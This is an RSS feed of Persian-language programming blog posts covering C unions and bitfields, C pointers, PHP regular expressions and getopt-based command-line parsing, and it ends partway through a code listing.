<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های علیرضا</title>
        <link>https://virgool.io/feed/@amn</link>
        <description>دونستن جزییات و اینکه چرا چیزها درست کار می کنند خوشحالم می کنه. از ریاضی, امنیت و رمزنگاری لذت می برم همچنین دوست دارم که دانشم رو با بقیه به اشتراک بگذارم.</description>
        <language>fa</language>
        <pubDate>2026-04-15 02:50:37</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/3157/avatar/BGhh48.png?height=120&amp;width=120</url>
            <title>علیرضا</title>
            <link>https://virgool.io/@amn</link>
        </image>

                    <item>
                <title>نظرتون درباره آموزش ساختن فریمورک با php چیه؟</title>
                <link>https://virgool.io/@amn/%D9%86%D8%B8%D8%B1%D8%AA%D9%88%D9%86-%D8%AF%D8%B1%D8%A8%D8%A7%D8%B1%D9%87-%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%B3%D8%A7%D8%AE%D8%AA%D9%86-%D9%81%D8%B1%DB%8C%D9%85%D9%88%D8%B1%DA%A9-%D8%A8%D8%A7-php-%DA%86%DB%8C%D9%87-rk2hcrbgogwl</link>
                <description>درود, راستشو بخواید می خواستم آموزش ساختن یک فریمورک کوچولو با php درست کنم ولی بعدش به این نتیجه رسیدم شاید مفید نباشه و اینطوری فقط وقت تلف می شه برای همین تصمیم گرفتم اینجا بپرسم ببینم نظر شما چیه؟ به نظرتون همچین آموزشی می تونه مفید باشه؟درست کنم یا نه؟ پیشنهاد وسوسه انگیز دیگه ای دارید؟از نظر خودم که ساختن فریمورک خیلی مزیت ها داره, برای مثال, یه جورایی متوجه می شی که بقیه فریمورک ها چطور کار می کنن و این خودش علاوه بر چالش برانگیز بودنش خیلی هیجان انگیز هست(لااقل برای من که اینطور هست :D ) و اینکه تو این راه کلی تجربه کسب میشه و کلی چیزای باحال یاد می گیریم.خوش حال می شم نظر و پیشنهاد بدید.</description>
                <category>علیرضا</category>
                <author>علیرضا</author>
                <pubDate>Sun, 18 Aug 2019 10:13:47 +0430</pubDate>
            </item>
                    <item>
                <title>کاربرد union ها در سی</title>
                <link>https://virgool.io/@amn/%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%D8%AF-union-%D9%87%D8%A7-%D8%AF%D8%B1-%D8%B3%DB%8C-nx4fglxvtwok</link>
                <description>درود,  خیلی وقت ها شده که دوستام از من می پرسند که union برای چی هست؟ به درد چی میخوره؟ در این آموزش قصد دارم یک کوچولو از کارای جذابی که میشه با union هارو کرد بهتون بگم. در واقع بااستفاده از union ها شما می توانید با داده های موجود به طریق های مختلف برخورد کنید. برای مثال, در سی تابعی وجود نداره که داده short را در فایل ذخیره کنه اما اگر بخواهید این کارو انجام بدید چه باید کنید؟ این جاهست که از سازندگان سی به خاطر ساخت union ها تشکر می کنید. خب برای کار بالا می تونید به صورت زیر عمل کنید:union w_char{
short int number;
char ch[2];
};حال به لطف کد بالا می تونید داده short رو در فایل ذخیره کنید. (داده گرفته شده را در number ذخیره کنید و هنگام نوشتن و خواندن در فایل با chars کار کنید.)اما من می خوام یه کاردیگه ای رو هم با union و struct انجام بدم و اونم بدست آوردن بیت های یک داده ۱ بایتی است.(البته شما با عملگرهای بیتی خیلی سریع می توانید این کارو انجام بدید ولی اینجا برای اینکه نشون بدیم چقدر union ها و struct ها خوب و باحال هستند با اونا این کارو انجام می دیم)چون هر بایت شامل ۸ بیت هست پس یک struct به صورت زیر تعریف می کنیمstruct byte_bits{
    _Bool   zero:1,
                one :1,
                two:1,
                 three:1,
                 four:1,
                 five:1,
                 six:1,
                 seven:1;
};در واقع با استفاده از این struct به بیت های یک بایت داده دسترسی پیدا می کنیمحالا با استفاده از union ها این کار رو عملی می کنیم, به این صورتunion char_bits{
    struct byte_bits bits;
    char data;
};خب همانطوری که می دونید در union ها بزرگترین داده به عنوان طول union درنظر گرفته میشه و همه داده های فیلد های union در اون فضا ذخیره میشه و ما از این خاصیت باحال اون استفاده می کنید که بیت های داده رو بدست آوریم. پس به تابع زیر دقت کنیدchar *get_bits(char data){
    struct byte_bits{
            _Bool   zero:1,
                            one :1,
                              two:1,
                              three:1,
                              four:1,
                              five:1,
                              six:1,
                              seven:1;
  };
      union char_bits{
              struct byte_bits bits;
             char data;
    }temp;
        temp.data = data;
        char *bits = (char *)malloc(sizeof(char) * 9);
        *(bits+8) = NULL;
       *(bits+7) = temp.bits.zero + &#039;0&#039;;
        *(bits+6) = temp.bits.one + &#039;0&#039;;
        *(bits+5) = temp.bits.two + &#039;0&#039;;
        *(bits+4) = temp.bits.three + &#039;0&#039;;
        *(bits+3) = temp.bits.four + &#039;0&#039;;
        *(bits+2) = temp.bits.five + &#039;0&#039;;
         *(bits+1) = temp.bits.six + &#039;0&#039;;
         *bits = temp.bits.seven + &#039;0&#039;;
         return bits;
         }همان طور که دیدید ما داده ای رو که کاربر وارد می کنه با data در union ذخیره می کنیم اما چون به بیت های اون نیاز داریم خودمون با bits کار می کنیم. به این ترتیب ما تونستیم با یک نوع داده به انواع مختلف برخورد کنیم.چند نکته:۱- در کد بالا چون من می خواستم در آخر به شکلی مثل زیرprintf(&quot;%s\n&quot;, bits);چاپ کنم بیت هارو با &#x27;0&#x27; جمع کردم که به کد اسکی تبدیل بشه اون عدد مورد نظر.۲- شما می تونید اون کار جمع کردن رو هم به روش های مختلف (برای مثال با if) هم انجام بدید. ۳- شما می توانید برای داده های بیشتر(۲ بایتی,۴بایتی و…) هم این روش رو پیاده سازی کنید.در واقع من فقط می خواستم بهتون نشون بدم که این کار چگونه انجام میشه و شما با خلاقیت خودتون می تونید باهاش کارهای باحال ترو بهتری رو انجام بدید.امیدوارم که این آموزش مفید بوده باشه و دیگه نگید union ها به درد چی می خورند. و در نظر داشته باشید که این یکی از قابلیت های مفید union ها بود و با استفاده از اون شما می توانید کاراهای جذاب تر دیگه هم انجام بدید.و در اخر کد کامل برنامه که تست کنید رو هم براتون گذاشتم#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
char *get_bits(char data){
    struct byte_bits{
            _Bool   zero:1,
                            one :1,
                            two:1,
                             three:1,
                             four:1,
                             five:1,
                             six:1,
                             seven:1;
                             };
    union char_bits{
    struct byte_bits bits;
    char data;
    }temp;
    temp.data = data;
    char *bits = (char *)malloc(sizeof(char) * 9);
    *(bits+8) = NULL;
    *(bits+7) = temp.bits.zero + &#039;0&#039;;
    *(bits+6) = temp.bits.one + &#039;0&#039;;
    *(bits+5) = temp.bits.two + &#039;0&#039;;
     *(bits+4) = temp.bits.three + &#039;0&#039;;
     *(bits+3) = temp.bits.four + &#039;0&#039;;
     *(bits+2) = temp.bits.five + &#039;0&#039;;
     *(bits+1) = temp.bits.six + &#039;0&#039;;
      *bits = temp.bits.seven + &#039;0&#039;;
       return bits
 }
 int main(int argc, char *argv[]) {
 char a = 129;
 char *bits = get_bits(a);
 printf(&quot;%s\n&quot;, bits);
 free(bits);
 return 0;
 }</description>
                <category>علیرضا</category>
                <author>علیرضا</author>
                <pubDate>Thu, 01 Feb 2018 12:53:25 +0330</pubDate>
            </item>
                    <item>
                <title>اشاره گرها در سی</title>
                <link>https://virgool.io/coderlife/%D8%A7%D8%B4%D8%A7%D8%B1%D9%87-%DA%AF%D8%B1%D9%87%D8%A7-%D8%AF%D8%B1-%D8%B3%DB%8C-hrt7avsu6zgg</link>
                <description> چرا از اشاره گر استفاده کنیم؟ اول, با استفاده از اشاره گرها می توانید در درون توابع خود مقدار آرگومان های ورودی به تابع رو عوض کنید. دوم, اشاره گر ها از تخصیص حافظه پویا پشتیبانی می کنند. سوم, با استفاده از اشاره گرها می توانید نحوه ی کار یک زیربرنامه رو بهبود ببخشید و در آخر با استفاده از اشاره گرها می توانید ساختمان داده های پویا از قبیل, درخت های دودویی, لیست های پیوندی و… درست کنید.همانطور که در کتاب مرجع سی گفته شده اشاره گرها ابزار بسیار قدرتمندی در زبان سی هستند ولی یکی از پرخطرترین ویژگی های آن هم هستند. برای مثال درصورت  استفاده نادرست از اشاره گرها برنامه شما ممکن هست crash کند.در زبان سی هر متغیری که تعریف می‌شود یک محتوا و یک آدرس دارد و شما می‌توانید به محتوای آن با نوشتن نام آن و با نوشتن &amp; قبل از نام آن به آدرس آن متغیر دسترسی پیدا کنید. (البته توابع هم دارای آدرس هستند ولی موضوع بحث فعلی ما نیست)اشاره گر ها متغیر هایی هستند که در آن‌ها آدرس قرار می‌گیرد(در واقع آدرس متغیر های دیگه یا به گفته کتاب مرجع سی, شی های دیگر) و باید در تعریف آن‌ها به طور صریح بگویید که این متغیر از نوع اشاره گر می‌باشد و همچنین بگویید که آدرس چه نوع داده‌ای در آن قرار می‌گیرد.(برای این باید به طورصریح بگویید که این متغیر به چه نوع متغیری اشاره می کند که در هنگام استفاده از اپراتور های ریاضی کامپایلر تشخیص دهد که برای مثال متغیری که بهش اشاره کردیم چقدر فضا گرفته است و چقدر باید بخونه)برای تعریف اشاره گرها به صورت زیر عمل می کنیمtype *name;که در آن type نوع های اولیه زبان سی و یا هر نوع داده ای معتبر در سی (مثل, int, float, structو…) می تواند باشد. در واقع در سی هرنوع داده ای اشاره گری می تواند به هرجایی از حافظه که بخواهد اشاره کند اما اعمال انجام شده بر روی آن ها باتوجه به نوع پایه (همون type) انجام می گیرید. برای مثال اگر یک متغیر را اشاره گری به نوع int تعریف کنید, یعنیint *pint;صرف نظر از آنکه pint به کجا اشاره می کند, کامپایلر فرض می کند که آن به یک عدد صحیح(که بیشتر سیستم های امروز ۴ بایت در نظر می گیرند) اشاره می کند.(یعنی کامپایلر هیچ اهمیتی نمیده که در اونجای حافظه شما واقعی عدد صحیح گذاشتید یا نه)اپراتور های اشاره گری دوتا هستند. * و &amp; (که در باره &amp; قبل گفته شده است). اپراتور * مکمل اپراتور &amp; است و در واقع مقدار متغیری که ما بهش اشاره می کنیم رو برمی گردونه. برای مثال فرض کنید کد زیر را نوشته ایمint a = 1,b;
int *pa;
pa = &amp;a;
b = *pa;حال فرض کنید متغیر a در آدرس خانه 1000 و متغیر b در ادرس 1004 ذخیره شده باشند.با اجرای خط pa = &amp;a; مقدار متغیر pa می شود آدرس a که همان1000 است.(یعنی الان اگر pa را با printf چاپ کنید عدد 1000 رو صفحه نمایش چاپ میشه)حال *pa یعنی مقدار جایی که pa دارد به آن اشاره می کند. چون pa به a اشاره می کنه وقتی *pa بنویسید نتیجه میشه مقداری که در a است که در اینجا میشه 1.تفاوت تعریف متغیر از نوع اشاره گر و متغیر های عادی در این است که متغیر های اشاره گری در خود آدرس داده‌ای از همان نوع که تعریف شده‌اند را در خود قرار می‌دهند اما متغیر های عادی داده‌ای از همان نوع را در خود قرار می‌دهند. در مثال بالا متغیر pInt آدرس مکانی که یک عدد صحیح در آنجا است را در خود قرار می‌دهد نه یک عدد صحیح عادی را.(درواقع خود آدرس ها هم عددی صحیح هستند)شما می توانید اشاره گرها را به یکدیگر انتساب کنید, از یکدیگر کم کنید, به آن ها عددی اضافه و یا کم کنید اما اشاره گرها را نمی توانید بایکدیگر جمع کنید پس عملیات زیر یک خطای کامپایل استint *a, *b, *c;
c = a+b;اما اعمال زیر صحیح می باشدc = b – 1;
c = --b;
c = b – a;حال به عکس های زیر توجه کنیدوقتی یک متغیر تعریف می‌کنید و آن را مقدار دهی نمی‌کنید معلوم نیست چه مقداری در آن قرار می‌گیردو وقتی یک متغیر از نوع اشاره گر تعریف می‌کنید در آن NULL قرار می‌گیرد و این یعنی که آن متغیربه هیچ جا اشاره نمی‌کند.   وقتی می نویسید type var; به اندازه sizeof(type) کامپایلر فضا می‌گیرد اما وقتی می نویسید type *var; کامپایلر به اندازه سیستم آدرس دهی کامپیوترتان (به طور معمول ۴ بایت و یا ۸ بایت) فضا می‌گیرید چون در این نوع متغیر قرار است آدرس یک خانه‌ای از حافظه قرار گیرید.حال به عملگر های ++ و –- و sizeof دقت کنید.فرض کنید متغیر و اشاره گری به آن به صورت روبرو تعریف شده باشد                              type var;
type *pVar = &amp;var;حال اگر بنویسید pVar += number و فرض کنید مقدار X در pVar باشد آنگاه مقدار جدید pVar می‌شود X + sizeof(type) * number یعنی pVar به number خانه بعد از خود اشاره می‌کند.حال اگر بنویسید(*pVar) + numberآنگاه مقدار آنجایی که pVar به آن اشاره می‌کند (در این مثال مقدار var) number واحد افزایش می‌یابد.به شکل زیر دقت کنید</description>
                <category>علیرضا</category>
                <author>علیرضا</author>
                <pubDate>Wed, 31 Jan 2018 12:44:18 +0330</pubDate>
            </item>
                    <item>
                <title>آموزش عبارت های منظم در PHP</title>
                <link>https://virgool.io/wptips/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%B9%D8%A8%D8%A7%D8%B1%D8%AA-%D9%87%D8%A7%DB%8C-%D9%85%D9%86%D8%B8%D9%85-%D8%AF%D8%B1-php-o7szhppxf05a</link>
                <description> درود,در این جا می خوام آموزش کار با عبارات منظم در PHP رو بهتون یاد بدم .خب عبارت منظم چیه اصلن ؟ فرض کنیم ما می خوایم یک سری عبارات رو یک مکرر طی یک فراِید خاص تکرار شدن رو پیدا کنیم و یا بخوایم ببینیم عبارتی که مورد نظر ما هست صحیح هست یا نهبرای مثال فرض کنیم می خوایم ببینیم کاربری ایمیل صحیح وارد کرده یا نه ؟ خوب میدونیم ایمیل شامل کاراکتر انگلیسی و – و عدد هست و همه ایمیل ها @ دارن و ...اینطور با عبارت منظم میشه چک کرد صحت ایمیل رویا فرض کنید می خوایم ببینیم یک آی پی درست وارد شده یا نهخب می دونیم که ایپی 4 شامل 4 قسمت هست که با . از هم جدا شده اند و اعداد بین 0 تا 255 میتونه بین هرکدوم باشهبا عبارات منظم می تونیم صحت این آی پی رو بررسی کنیم.و خیلی کارای دیگه که باهاش توی آموزش‌ها آشنا می‌شویم.پیش نیاز هم تسلط بر php (نحوه تعریف متغیر و کار با توابع و ...)برای شروع برای کار با عبارات منظم به ۲ چیز نیازمند هستیم:۱-توابع موجود و کار با آنها۲- الگوهاحال فرض کنیم یک متغیر داریم به اسم $myVar حال می خوایم چک کنیم ببینیم که برای مثال عبارت virgool درونش هست یا نه.تابعpreg_match()این تابع یک الگو می گیره و با عبارتی که بهش می دید شروع میکنه به جست و جوی الگو, اگر الگو پیدا شد درست و در غیر این صورت نادرست رو برمی گردونه.این تابع ۵ پارامتر میگیره که ۲ تاش اجباری و ۳ تاش اختیاری هست.اولین پارامتر الگو هست .دومین پارامتر عبارتی که باید توش جست و جو رو انجام بده.سومین پارامتر جست و جوی های پیدا شده رو توی خودش نگه می داره.چهارمین پارامتر اگر مقدار دهی بشه برای هر جست و جوی یافت شده عبارت آفست رو بر میگردونه.پنجمین پارامتر می تونید بگید جست و جو رو از کجای رشته شروع کنه(پیش فرض از اول رشته شروع می کنه).خب حالا برنامه بالا رو می خوایم به کد تبدیل کنیم.به کد زیر توجه کنید:$myString = &amp;quothello word . I&#039;m virgool:D . my favorite site is virgool.io . I&#039;m member of virgool. &quot;
$pattern = &amp;quot/virgool/&quot;
if(preg_match($pattern,$myString))
   echo &amp;quotI found virgool&quot;
else
  echo &amp;quotvirgool not found&quot;  اگر قطعه کد بالا رو اجرا کنید خروجی  I found virgool خواهید داشت.عبارات منظم باید بین دو / / و یا # # و یا @ @ باید قرار بگیرند و جزیی از آن هستند.در کد بالا ما به تابع preg_match() گفتیم درون رشته $myString بگرد و ببین $pattern وجود داره یا نه . تابع اگر عبارت رو پیدا کنه مقدار true برمیگردونه در غیر این صورت false که با استفاده ازدستور  if می تونیم کنترل کنیم.حال فرض کنید می خواهیم علاوه بر آن, عبارات پیدا شده رو توی متغیری قرار بده (همیشه الگو اینقدر ساده نیست و ممکن هست بخوایم عباراتی رو برامون پیدا کنه. برای نمونه یکی از مثال ها می تونه پیدا کردن سایت های روی سرور باشه که باید همه سایت هارو با الگو پیدا کنیم که بعد استفاده کنیم)خب برای این کار باید پارامتر سوم هم وارد کنیم.به کد زیر توجه کنید :$myString = &amp;quothello word . I&#039;m virgool:D . my favorite site is virgool.io . I&#039;m member of virgool. &quot;
$pattern = &amp;quot/virgool/&quot;
if(preg_match($pattern,$myString,$occurs))
   print_r($occurs);
else
  echo &amp;quotvirgool not found&quot;اگر کد بالا رو اجرا کنید خروجی شبیه خروجی زیرخواهید داشتArray ( [0] =&gt; virgool )  با کمال تعجب شما انتظار داشتید که هر سه virgool رو پیدا و توی خروجی نشون بده ولی اینطور نشد چرا؟ به دلیل تابع preg_match() هست که اولین رو بر می گردونه.( بعد با تابع دیگری آشنا می شویم که این مشکل را برطرف می کند)کد زیر هم خروجی مشابه رو داره$myString = &amp;quothello word . I&#039;m virgool:D . my favorite site is virgool.io . I&#039;m member of virgool. &quot;
$pattern = &amp;quot#virgool#&quot;
if(preg_match($pattern,$myString,$occurs))
   print_r($occurs);
else
  echo &amp;quotvirgool not found&quot;و یا$myString = &amp;quothello word . I&#039;m virgool:D . my favorite site is virgool.io . I&#039;m member of virgool. &quot;
$pattern = &amp;quot@virgool@&quot;
if(preg_match($pattern,$myString,$occurs))
   print_r($occurs);
else
 echo &amp;quotvirgool not found&quot;خب شاید به این فکر باشید که همیشه الگو ها اینقدر ساده و ابتدایی نیستند و ممکن هست پیشرفته تر باشند اونوقت چه باید کرد؟ خوشبختانه php این توانایی رو به صورت پیشرفته در اختیار ما قرار میده برخی از عبارات برای  php یک مفهوم خاص دارند (مانند // که استفاده می کردیم برای الگو) که در زیر توضیح مختصر میدم. در الگو به معنای این است که هر کاراکتری می تواند ظاهر شود(فقط یک کاراکتر). * در الگو به این معناست که عبارت قبل از آن می تواند 0 بار یا بیشتر تکرار شود.  + در الگو به این معناست که عبارت قبل از آن می تواند 1 بار یا بیشتر تکرار شود.  ? در الگو به معنای این است که عبارت قبل از آن می تواند ظاهر نشود یا 1 بار ظاهر شود.  {num}عبارت قبل از این به تعداد num باید تکرار شود نه بیشتر و نه کمتر(num یک عدد صحیح است).{m,n} عبارت قبل از این به تعداد حداقل m و حداکثر بار باید تکرار شود نه بیشتر و نه کمتر(n , m هردو اعداد صحیح هستند).  () هر عبارتی بین پرانتز قرار گیرد به عنوان یک واحد حساب می شود.  [] یک کلاس کاراکتر را مشخص می کند به این معنا که فقط یکی از کاراکتر های تعریف شده داخل آن می توانند ظاهر شوند.  - در الگو برای مشخص کردن محدوده به کار می رود مثلا 9-0.  ^ دو حالت می تواند داشته باشد 1.در ابتدای الگو به این معناست که عبارت مورد جستجو باید با عبارتی (کلمه،کاراکتر یا کلاس کاراکتر) که بعد از ^ می آید شروع شود.در داخل [] به این معناست که کاراکتر بعد از آن نباید ظاهر شود.$ در پایان الگو به این معناست که عبارت مورد جستجو باید با عبارتی(کلمه،کاراکتر یا کلاس کاراکتر) که قبل از $ می آید شروع شود.  | یک عملگر است و به معنای یا می باشد.  برگرفته از http://barnamenevis.org/forum.phpاینارو چون توی سایت برنامه نویس خوب توضیح داده بود دیگه از همونجا کپی کردم.حالا بریم سراغ مثال هامثال.abcdشامل همه کلمات babcd habcd kabcd 2abcd #abcd و … میشهیعنی هر عبارتی که با یک حرف ( هر حرفی , چه عددی چه کاراکتر) که بلافاصله بعد از آن abcd آمده باشد را شامل می شود.مثالabc*شامل همه کلمات abcc abccc ab abcccc و .. میشهیعنی هرعبارتی که با ab شروع و بعد از به تعداد دلخواه ( ۰ یا هرچند) c آمده باشد را شامل می شود.مثالabc+شامل همه کلمات abcc abccc abcccc و .. میشه. فرق این با بالایش اینه که توی این حتما باید حداق یک c رخ داده باشد و مثل قبل دیگه شامل ab نمی شود.یعنی هرعبارتی که با abc شروع و بعد از به تعداد دلخواه ( ۰ یا هرچند) c آمده باشد را شامل می شود.مثالabc?شامل کلمات abc و ab می شود.یعنی هر عبارتی که با  ab شروع شده باشد و بعداز آن صفر یا یک c آمده باشد را شامل می شود.مثالabc{5}عبارت  abccccc را شامل می شود.یعنی هر عبارتی که با  ab شروع شود و بعد از آن دقیقا ۵ تا c ظاهر شده باشد را شامل می شود.مثالabc{2,5}همه عبارات abcc abccc abcccc abccccc را شامل می شود.یعنی هر عبارتی که با ab شروع شده باشد و بعد از آن حداقل ۲ و حداکثر ۵ تاc ظاهر شده باشد را شامل می شود.مثالترکیبی از پرانتز و عباراتی که بالا توضیح دادیم(ab)*همه عبارات ab abab ababab abababab و … را شامل می شودیعنی هر عبارتی که در آن ab از ۰ تا بی شمار تکرار شده باشد را شامل می شود.مثالترکیبی از براکت و عباراتی که بالا توضیح دادیم[ab]+شامل a b aa bb aaa bbbbb و … می شود.یعنی هر عبارتی که در آن تکرار یکی از حروف a و یا b در آن حداقل یک بار ظاهر شده باشند را شامل می شودمثال اول^abشامل  abc abcd abcc abcde و... می شودیعنی هر عبارتی که با ab شروع شده باشد (باید با ab شروع شده باشه)مثال دوم[^ab]شامل e f h g  d g و... می شود.یعنی هر چیزی به جز یکی از دو حرف a و یا b .مثالab$شامل aab xab jkjsdab aslkdjlkab و... می شود.یعنی هر چیزی که با ab پایان یافته باشد را شامل می شود.مثال[a|b|c]شامل a b c می شود.یعنی یکی از حروف a و یا b ویا c را شامل می شود.خب با این کاراکتر های ویژه می توانیم الگو های پیشرفته تری بسازیم که بعد کمی توضیح میدم.کاراکتر های ویژه دیگه هم هستند که به صورت کامل و یک جا توی عکس زیر مشاهده خواهید کرد.خب اول یک سری توابع دیگه رو میگم و بعد مثال حل می کنیم ( توابع رو از خود سایت رسمی کپی می کنم و توضیح میدم)تابع  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &amp;$count ]] )خب همانطور که می بینید تابع بالا ۴ تا آرگومان میگیره که ۲ تاش اختیاری هست.پارامتر اول الگو هست پارامتر دوم چیزی که قراره جایگزین بشه و سوم هم متنی که قرار جایگذاری توش انجام بشه.به قطعه کد زیرتوجه کنید:$text = &amp;quothello world.I&#039;m a programmer.I use php because it&#039;s very fast.I enjoy it ;) . php is fast and user freindly.&quot;
echo preg_replace(&amp;quot/php/&amp;quot,&amp;quotperl&amp;quot,$text);اگر کدبالارو اجرا کنید خروجی شبیه خروجی زیر خواهید داشت.hello world.I&#039;m a programmer.I use perl because it&#039;s very fast.I enjoy it ;) . perl is fast and user freindly.تابع  array preg_split ( string $pattern , string $subject [, int $limit = -1 [, int $flags = 0 ]] )این تابع هم الگویی می گیره و براساس اون اطلاعات رو جدا میکنه.تابع ۴ پارامتر داره که ۲ تاش اختیاری هست.پارامتر اول الگو و پارامتر دوم هم متنی که باید جدا بشه.به قطعه کد زیر توجه کنید:$text = &amp;quothello world.I&#039;m a programmer.I use php because it&#039;s very fast.I enjoy it ;) . php is fast and user freindly.&quot;
print_r(preg_split(&amp;quot/\./&amp;quot,$text));اگر کد بالا رو اجرا کنید خروجی شبیه زیر خواهید داشتArray ( [0] =&gt; hello world [1] =&gt; I&#039;m a programmer [2] =&gt; I use php because it&#039;s very fast [3] =&gt; I enjoy it ;) [4] =&gt; php is fast and user freindly [5] =&gt; )  دقت کنید اگر توی الگو به جای \. می نوشتیم . خروجی زیر داشتیمArray ( [0] =&gt; [1] =&gt; [2] =&gt; [3] =&gt; [4] =&gt; [5] =&gt; [6] =&gt; [7] =&gt; [8] =&gt; [9] =&gt; [10] =&gt; [11] =&gt; [12] =&gt; [13] =&gt; [14] =&gt; [15] =&gt; [16] =&gt; [17] =&gt; [18] =&gt; [19] =&gt; [20]...=&gt; [102] =&gt; [103] =&gt; [104] =&gt; [105] =&gt; [106] =&gt; )چون . یک کاراکتر ویژه محسوب میشه و اگر می خواید همون دات خالی معنی بده باید اونو با \ اسکیپ کنید .خب کد زیر رو اگر اجرا کنید خروجی چی خواهد بود ؟$text = &amp;quothello world.I&#039;m a programmer.I use php because it&#039;s very fast.I enjoy it ;) . php is fast and user freindly. php has a interpreter. php codes start with &lt;?php and end with ?&gt;  &quot;
preg_match(&amp;quot/php\s[a-z]?/&amp;quot,$text,$array);
print_r($array);مگر جز خروجی زیر دارا خواهد بود ؟Array ( [0] =&gt; php b )  اما واقعا فقط یک php وجود داره که بعدش یک خط فاصله و یک حرف کوچک آمده باشه ؟تابعint preg_match_all ( string $pattern , string $subject [, array &amp;$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )مانند تابع preg_match() ولی این تابع همه رخ داد هارو بر میگردونه کد بالا رو به کد زیر تبدیل میکنیم$text = &amp;quothello world.I&#039;m a programmer.I use php because it&#039;s very fast.I enjoy it ;) . php is fast and user freindly. php has a interpreter. php codes start with &lt;?php and end with ?&gt;  &quot;
preg_match_all(&amp;quot/php\s[a-z]?/&amp;quot,$text,$array);
print_r($array);خروجی شبیه خروجی زیر خواهید داشت :Array ( [0] =&gt; Array ( [0] =&gt; php b [1] =&gt; php i [2] =&gt; php h [3] =&gt; php c [4] =&gt; php a ) )  همونی که انتظار داشتیم . این تابع همه رخ داد های الگو رو پیدا میکنه.</description>
                <category>علیرضا</category>
                <author>علیرضا</author>
                <pubDate>Sun, 28 Jan 2018 11:57:27 +0330</pubDate>
            </item>
                    <item>
                <title>تفسیر آرگومان های خط فرمان با سی</title>
                <link>https://virgool.io/@amn/%D8%AA%D9%81%D8%B3%DB%8C%D8%B1-%D8%A2%D8%B1%DA%AF%D9%88%D9%85%D8%A7%D9%86-%D9%87%D8%A7%DB%8C-%D8%AE%D8%B7-%D9%81%D8%B1%D9%85%D8%A7%D9%86-%D8%A8%D8%A7-%D8%B3%DB%8C-aqhnalqu1o6y</link>
                <description>درود, خیلی وقت‌ها شده دیدید بعضی از برنامه‌ها یک سری آپشن ها دارند و آن ها را در خط فرمان به عنوان ورودی می گیرند؟ برای مثال شاید دیدید که دستور ps بدون آرگومان و گاهی وقت ها با آرگومان میشه اجراش کرد برای مثال ps -A یا ps aux و...حالا اگر بخواید خودتون این آپشن هارو آنالیز کنید به احتمال وقت گیر هست و ممکن هست به اون خوبی که می خواید نشه ما برای این که این کار را راحت تر انجام بدیم  از کتابخونهC GNU کمک می گیریم و من در این جا قصد دارم اونو آموزش بدم.برای شروع اول هدر getopt.h رو به برنامه اینکلود کنید.#include &lt;getopt.h&gt;این هدر یک سری متغییر های سراسری داره که در زیر توضیح میدم(بعد در مورد همشون تک تک توضیح میدم)char *optarg
 وقتی آرگومانی ست بشه این متغییر مقدار دهی میشه
 int optind
 اولین آپشنی که در برنامه نباشه انیدکسش توی این ذخیره میشه
 int opterr
 وقتی عددی غیر از ۰ باشه (به صورت پیش‌فرض هست)  وقتی یک متغییر نامتعبر(آپشن تعریف نشده در برنامه)ظاهر بشه اررو روی صفحه چاپ میشه
 int optopt
  وقتی یک متغییر نامتعبر(آپشن تعریف نشده در برنامه)ظاهر بشه یک مقدار ؟ یا : برگردانده میشه که این متغییر شامل مقدار نامعتبر هست.خب اگر  تابع getopt() ? برگرداند یعنی این آپشن معتبر نیست(تعریف نشده) و اگر : برگرداند یعنی این اپشن یک ارگومان می‌خواهد که وارد نشده.به کد زیر توجه کنید#include &lt;stdio.h&gt;
#include &lt;getopt.h&gt;
#include &lt;stdlib.h&gt; // exit()
int main(int argc,char *argv[])
{
	const char * const shortOptions = &quot;ho:c&quot;;
		int nextOption;
			while( (nextOption = getopt(argc,argv,shortOptions)) != -1)
				{
					switch(nextOption)
						{
							case &#039;h&#039;:
							printf(&quot;i got h \n&quot;);
							break;
							case &#039;o&#039;:
							printf(&quot;i got o with arg %s \n&quot;,optarg);
							break;
							case &#039;c&#039;:
							printf(&quot;i got c with arf %s \n&quot;,optarg);
							break;
							case &#039;?&#039;:
								printf(&quot;invalid arg  %c \n&quot;,optopt);
								break;
							default :
							break;
						}
				}	
		return 0;
}اگر کد بالارو کامپایل کنید و پارامتر -h -o hello رو بهش بدید خروجی شبیه خروجی زیر خواهید داشتi got h 
i got o with arg hello حال اگر پارامتر -h -o hello -g رو رد کنید خروجی شبیه خروجی زیر خواهید داشتi got h 
i got o with arg hello 
./a.out: invalid option -- &#039;g&#039;
invalid arg  g اگر دقت کرده باشد ./a.out: invalid option – &#039;g&#039; رو شما ننوشتید و خود تابع اینو چاپ کردهاگر می خواید که اررو هارو خودتون نمایش بدید و مدیریت کنید باید مقدار opterr رو قبل از فراخانی ۰ قرار بدید در این صورت دیگه اررو خود برنامه چاپ نمیکنه و مسوول مدیریتش شما هستید.به کد زیر توجه کنید#include &lt;stdio.h&gt;
#include &lt;getopt.h&gt;
#include &lt;stdlib.h&gt; // exit()
int main(int argc,char *argv[])
{
	const char * const shortOptions = &quot;:ho:c&quot;;
	int nextOption;
	opterr = 0;
	while( (nextOption = getopt(argc,argv,shortOptions)) != -1)
	{
		switch(nextOption)
		{
		case &#039;h&#039;:
			printf(&quot;i got h \n&quot;);
			break;
		case &#039;o&#039;:
			printf(&quot;i got o with arg %s \n&quot;,optarg);
			break;
		case &#039;c&#039;:			
			printf(&quot;i got c with arg %s \n&quot;,optarg);			
			break;		
		case &#039;:&#039;:		
			printf(&quot;arg  %c need arg \n&quot;,optopt);			
			break;
		case &#039;?&#039;:		
			printf(&quot;invalid arg  %c \n&quot;,optopt);		
			break;
		default :			
			break;
		}	
	}	
	return 0;
